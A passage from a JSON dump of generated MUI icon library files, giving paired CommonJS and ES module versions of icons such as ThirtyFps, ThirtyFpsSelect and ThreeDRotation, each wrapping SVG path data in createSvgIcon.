    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1M12 10h3V9h-2V8h2V7h-3V5.5h3.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H12zM7 5.5h3v6H8.5V7H7zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 10.5v-4c0-.55-.45-1-1-1H12V7h3v1h-2v1h2v1h-3v1.5h3.5c.55 0 1-.45 1-1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 10.5v-4c0-.55-.45-1-1-1H12V7h3v1h-2v1h2v1h-3v1.5h3.5c.55 0 1-.45 1-1M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"6\")], 'ThirteenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirteenMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1M12 10h3V9h-2V8h2V7h-3V5.5h3.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H12zM7 5.5h3v6H8.5V7H7zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 10.5v-4c0-.55-.45-1-1-1H12V7h3v1h-2v1h2v1h-3v1.5h3.5c.55 0 1-.45 1-1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 10.5v-4c0-.55-.45-1-1-1H12V7h3v1h-2v1h2v1h-3v1.5h3.5c.55 0 1-.45 1-1M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"4\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"5\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"6\")], 'ThirteenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirtyFps.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 5v3h6v2.5H3v3h5V16H2v3h6c1.66 0 3-1.34 3-3v-1.9c0-1.16-.94-2.1-2.1-2.1 1.16 0 2.1-.94 2.1-2.1V8c0-1.66-1.34-3-3-3zm17 3v8h-4V8zm0-3h-4c-1.66 0-3 1.34-3 3v8c0 1.66 1.34 3 3 3h4c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3\"\n}), 'ThirtyFps');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirtyFps.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 5v3h6v2.5H3v3h5V16H2v3h6c1.66 0 3-1.34 3-3v-1.9c0-1.16-.94-2.1-2.1-2.1 1.16 0 2.1-.94 2.1-2.1V8c0-1.66-1.34-3-3-3zm17 3v8h-4V8zm0-3h-4c-1.66 0-3 1.34-3 3v8c0 1.66 1.34 3 3 3h4c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3\"\n}), 'ThirtyFps');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirtyFpsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 5v3h6v2.5H3v3h5V16H2v3h6c1.66 0 3-1.34 3-3v-1.9c0-1.16-.94-2.1-2.1-2.1 1.16 0 2.1-.94 2.1-2.1V8c0-1.66-1.34-3-3-3zm17 3v8h-4V8zm0-3h-4c-1.66 0-3 1.34-3 3v8c0 1.66 1.34 3 3 3h4c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3\"\n}), 'ThirtyFpsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirtyFpsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 5v3h6v2.5H3v3h5V16H2v3h6c1.66 0 3-1.34 3-3v-1.9c0-1.16-.94-2.1-2.1-2.1 1.16 0 2.1-.94 2.1-2.1V8c0-1.66-1.34-3-3-3zm17 3v8h-4V8zm0-3h-4c-1.66 0-3 1.34-3 3v8c0 1.66 1.34 3 3 3h4c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3\"\n}), 'ThirtyFpsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirtyFpsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 6.5C2 7.33 2.67 8 3.5 8H8v2.5H4.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5H8V16H3.5c-.83 0-1.5.67-1.5 1.5S2.67 19 3.5 19H8c1.66 0 3-1.34 3-3v-1.9c0-1.16-.94-2.1-2.1-2.1 1.16 0 2.1-.94 2.1-2.1V8c0-1.66-1.34-3-3-3H3.5C2.67 5 2 5.67 2 6.5M19 8v8h-4V8zm0-3h-4c-1.66 0-3 1.34-3 3v8c0 1.66 1.34 3 3 3h4c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3\"\n}), 'ThirtyFpsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirtyFpsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 6.5C2 7.33 2.67 8 3.5 8H8v2.5H4.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5H8V16H3.5c-.83 0-1.5.67-1.5 1.5S2.67 19 3.5 19H8c1.66 0 3-1.34 3-3v-1.9c0-1.16-.94-2.1-2.1-2.1 1.16 0 2.1-.94 2.1-2.1V8c0-1.66-1.34-3-3-3H3.5C2.67 5 2 5.67 2 6.5M19 8v8h-4V8zm0-3h-4c-1.66 0-3 1.34-3 3v8c0 1.66 1.34 3 3 3h4c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3\"\n}), 'ThirtyFpsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirtyFpsSelect.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4v2h5v2H5v2h4v2H4v2h5c1.1 0 2-.9 2-2v-1.5c0-.83-.17-1.5-1-1.5.83 0 1-.67 1-1.5V6c0-1.1-.9-2-2-2zm14 0c1.1 0 2 .9 2 2v6c0 1.1-.9 2-2 2h-3c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2zm0 2h-3v6h3zM5 22H3v-5h2zm4 0H7v-5h2zm4 0h-2v-5h2zm8 0h-6v-5h6z\"\n}), 'ThirtyFpsSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirtyFpsSelect.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4v2h5v2H5v2h4v2H4v2h5c1.1 0 2-.9 2-2v-1.5c0-.83-.17-1.5-1-1.5.83 0 1-.67 1-1.5V6c0-1.1-.9-2-2-2zm14 0c1.1 0 2 .9 2 2v6c0 1.1-.9 2-2 2h-3c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2zm0 2h-3v6h3zM5 22H3v-5h2zm4 0H7v-5h2zm4 0h-2v-5h2zm8 0h-6v-5h6z\"\n}), 'ThirtyFpsSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirtyFpsSelectOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4v2h5v2H5v2h4v2H4v2h5c1.1 0 2-.9 2-2v-1.5c0-.83-.17-1.5-1-1.5.83 0 1-.67 1-1.5V6c0-1.1-.9-2-2-2zm14 0c1.1 0 2 .9 2 2v6c0 1.1-.9 2-2 2h-3c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2zm0 2h-3v6h3zM5 22H3v-5h2zm4 0H7v-5h2zm4 0h-2v-5h2zm8 0h-6v-5h6z\"\n}), 'ThirtyFpsSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirtyFpsSelectOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4v2h5v2H5v2h4v2H4v2h5c1.1 0 2-.9 2-2v-1.5c0-.83-.17-1.5-1-1.5.83 0 1-.67 1-1.5V6c0-1.1-.9-2-2-2zm14 0c1.1 0 2 .9 2 2v6c0 1.1-.9 2-2 2h-3c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2zm0 2h-3v6h3zM5 22H3v-5h2zm4 0H7v-5h2zm4 0h-2v-5h2zm8 0h-6v-5h6z\"\n}), 'ThirtyFpsSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirtyFpsSelectRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 5c0 .55.45 1 1 1h4v2H6c-.55 0-1 .45-1 1s.45 1 1 1h3v2H5c-.55 0-1 .45-1 1s.45 1 1 1h4c1.1 0 2-.9 2-2v-1.5c0-.83-.17-1.5-1-1.5.83 0 1-.67 1-1.5V6c0-1.1-.9-2-2-2H5c-.55 0-1 .45-1 1m14-1c1.1 0 2 .9 2 2v6c0 1.1-.9 2-2 2h-3c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2zm0 2h-3v6h3zM4 22c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1m8 0h-4c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1\"\n}), 'ThirtyFpsSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirtyFpsSelectRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 5c0 .55.45 1 1 1h4v2H6c-.55 0-1 .45-1 1s.45 1 1 1h3v2H5c-.55 0-1 .45-1 1s.45 1 1 1h4c1.1 0 2-.9 2-2v-1.5c0-.83-.17-1.5-1-1.5.83 0 1-.67 1-1.5V6c0-1.1-.9-2-2-2H5c-.55 0-1 .45-1 1m14-1c1.1 0 2 .9 2 2v6c0 1.1-.9 2-2 2h-3c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2zm0 2h-3v6h3zM4 22c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1m8 0h-4c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1\"\n}), 'ThirtyFpsSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirtyFpsSelectSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4v2h5v2H5v2h4v2H4v2h7V4zm9 0h7v10h-7zm5 2h-3v6h3zM5 22H3v-5h2zm4 0H7v-5h2zm4 0h-2v-5h2zm8 0h-6v-5h6z\"\n}), 'ThirtyFpsSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirtyFpsSelectSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4v2h5v2H5v2h4v2H4v2h7V4zm9 0h7v10h-7zm5 2h-3v6h3zM5 22H3v-5h2zm4 0H7v-5h2zm4 0h-2v-5h2zm8 0h-6v-5h6z\"\n}), 'ThirtyFpsSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirtyFpsSelectTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4v2h5v2H5v2h4v2H4v2h5c1.1 0 2-.9 2-2v-1.5c0-.83-.17-1.5-1-1.5.83 0 1-.67 1-1.5V6c0-1.1-.9-2-2-2zm14 0c1.1 0 2 .9 2 2v6c0 1.1-.9 2-2 2h-3c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2zm0 2h-3v6h3zM5 22H3v-5h2zm4 0H7v-5h2zm4 0h-2v-5h2zm8 0h-6v-5h6z\"\n}), 'ThirtyFpsSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirtyFpsSelectTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4v2h5v2H5v2h4v2H4v2h5c1.1 0 2-.9 2-2v-1.5c0-.83-.17-1.5-1-1.5.83 0 1-.67 1-1.5V6c0-1.1-.9-2-2-2zm14 0c1.1 0 2 .9 2 2v6c0 1.1-.9 2-2 2h-3c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2zm0 2h-3v6h3zM5 22H3v-5h2zm4 0H7v-5h2zm4 0h-2v-5h2zm8 0h-6v-5h6z\"\n}), 'ThirtyFpsSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirtyFpsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 5v3h6v2.5H3v3h5V16H2v3h9V5zm17 3v8h-4V8zm3-3H12v14h10z\"\n}), 'ThirtyFpsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirtyFpsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 5v3h6v2.5H3v3h5V16H2v3h9V5zm17 3v8h-4V8zm3-3H12v14h10z\"\n}), 'ThirtyFpsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirtyFpsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 5v3h6v2.5H3v3h5V16H2v3h6c1.66 0 3-1.34 3-3v-1.9c0-1.16-.94-2.1-2.1-2.1 1.16 0 2.1-.94 2.1-2.1V8c0-1.66-1.34-3-3-3zm17 3v8h-4V8zm0-3h-4c-1.66 0-3 1.34-3 3v8c0 1.66 1.34 3 3 3h4c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3\"\n}), 'ThirtyFpsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThirtyFpsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 5v3h6v2.5H3v3h5V16H2v3h6c1.66 0 3-1.34 3-3v-1.9c0-1.16-.94-2.1-2.1-2.1 1.16 0 2.1-.94 2.1-2.1V8c0-1.66-1.34-3-3-3zm17 3v8h-4V8zm0-3h-4c-1.66 0-3 1.34-3 3v8c0 1.66 1.34 3 3 3h4c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3\"\n}), 'ThirtyFpsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeDRotation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.52 21.48C4.25 19.94 1.91 16.76 1.55 13H.05C.56 19.16 5.71 24 12 24l.66-.03-3.81-3.81zm.89-6.52c-.19 0-.37-.03-.52-.08-.16-.06-.29-.13-.4-.24-.11-.1-.2-.22-.26-.37-.06-.14-.09-.3-.09-.47h-1.3c0 .36.07.68.21.95s.33.5.56.69c.24.18.51.32.82.41q.45.15.96.15c.37 0 .72-.05 1.03-.15.32-.1.6-.25.83-.44s.42-.43.55-.72.2-.61.2-.97c0-.19-.02-.38-.07-.56s-.12-.35-.23-.51c-.1-.16-.24-.3-.4-.43-.17-.13-.37-.23-.61-.31.2-.09.37-.2.52-.33s.27-.27.37-.42.17-.3.22-.46.07-.32.07-.48q0-.54-.18-.96t-.51-.69c-.2-.19-.47-.33-.77-.43C9.1 8.05 8.76 8 8.39 8c-.36 0-.69.05-1 .16-.3.11-.57.26-.79.45-.21.19-.38.41-.51.67-.12.26-.18.54-.18.85h1.3q0-.255.09-.45c.09-.195.14-.25.25-.34s.23-.17.38-.22.3-.08.48-.08c.4 0 .7.1.89.31.19.2.29.49.29.86 0 .18-.03.34-.08.49s-.14.27-.25.37-.25.18-.41.24-.36.09-.58.09H7.5v1.03h.77c.22 0 .42.02.6.07s.33.13.45.23c.12.11.22.24.29.4s.1.35.1.57c0 .41-.12.72-.35.93-.23.23-.55.33-.95.33m8.55-5.92c-.32-.33-.7-.59-1.14-.77-.43-.18-.92-.27-1.46-.27H12v8h2.3c.55 0 1.06-.09 1.51-.27s.84-.43 1.16-.76.57-.73.74-1.19c.17-.47.26-.99.26-1.57v-.4c0-.58-.09-1.1-.26-1.57q-.27-.705-.75-1.2m-.39 3.16c0 .42-.05.79-.14 1.13-.1.33-.24.62-.43.85s-.43.41-.71.53q-.435.18-.99.18h-.91V9.12h.97c.72 0 1.27.23 1.64.69.38.46.57 1.12.57 1.99zM12 0l-.66.03 3.81 3.81 1.33-1.33c3.27 1.55 5.61 4.72 5.96 8.48h1.5C23.44 4.84 18.29 0 12 0\"\n}), 'ThreeDRotation');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeDRotation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.52 21.48C4.25 19.94 1.91 16.76 1.55 13H.05C.56 19.16 5.71 24 12 24l.66-.03-3.81-3.81zm.89-6.52c-.19 0-.37-.03-.52-.08-.16-.06-.29-.13-.4-.24-.11-.1-.2-.22-.26-.37-.06-.14-.09-.3-.09-.47h-1.3c0 .36.07.68.21.95s.33.5.56.69c.24.18.51.32.82.41q.45.15.96.15c.37 0 .72-.05 1.03-.15.32-.1.6-.25.83-.44s.42-.43.55-.72.2-.61.2-.97c0-.19-.02-.38-.07-.56s-.12-.35-.23-.51c-.1-.16-.24-.3-.4-.43-.17-.13-.37-.23-.61-.31.2-.09.37-.2.52-.33s.27-.27.37-.42.17-.3.22-.46.07-.32.07-.48q0-.54-.18-.96t-.51-.69c-.2-.19-.47-.33-.77-.43C9.1 8.05 8.76 8 8.39 8c-.36 0-.69.05-1 .16-.3.11-.57.26-.79.45-.21.19-.38.41-.51.67-.12.26-.18.54-.18.85h1.3q0-.255.09-.45c.09-.195.14-.25.25-.34s.23-.17.38-.22.3-.08.48-.08c.4 0 .7.1.89.31.19.2.29.49.29.86 0 .18-.03.34-.08.49s-.14.27-.25.37-.25.18-.41.24-.36.09-.58.09H7.5v1.03h.77c.22 0 .42.02.6.07s.33.13.45.23c.12.11.22.24.29.4s.1.35.1.57c0 .41-.12.72-.35.93-.23.23-.55.33-.95.33m8.55-5.92c-.32-.33-.7-.59-1.14-.77-.43-.18-.92-.27-1.46-.27H12v8h2.3c.55 0 1.06-.09 1.51-.27s.84-.43 1.16-.76.57-.73.74-1.19c.17-.47.26-.99.26-1.57v-.4c0-.58-.09-1.1-.26-1.57q-.27-.705-.75-1.2m-.39 3.16c0 .42-.05.79-.14 1.13-.1.33-.24.62-.43.85s-.43.41-.71.53q-.435.18-.99.18h-.91V9.12h.97c.72 0 1.27.23 1.64.69.38.46.57 1.12.57 1.99zM12 0l-.66.03 3.81 3.81 1.33-1.33c3.27 1.55 5.61 4.72 5.96 8.48h1.5C23.44 4.84 18.29 0 12 0\"\n}), 'ThreeDRotation');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeDRotationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.53 21.48C4.26 19.94 1.92 16.76 1.56 13H.06c.51 6.16 5.66 11 11.95 11l.66-.03-3.81-3.81zm.89-6.52c-.19 0-.37-.03-.52-.08-.16-.06-.29-.13-.4-.24-.11-.1-.2-.22-.26-.37-.06-.14-.09-.3-.09-.47h-1.3c0 .36.07.68.21.95s.33.5.56.69c.24.18.51.32.82.41q.45.15.96.15c.37 0 .72-.05 1.03-.15.32-.1.6-.25.83-.44s.42-.43.55-.72.2-.61.2-.97c0-.19-.02-.38-.07-.56s-.12-.35-.23-.51c-.1-.16-.24-.3-.4-.43-.17-.13-.37-.23-.61-.31.2-.09.37-.2.52-.33s.27-.27.37-.42.17-.3.22-.46.07-.32.07-.48q0-.54-.18-.96c-.18-.42-.29-.51-.51-.69-.2-.19-.47-.33-.77-.43C9.11 8.05 8.77 8 8.4 8c-.36 0-.69.05-1 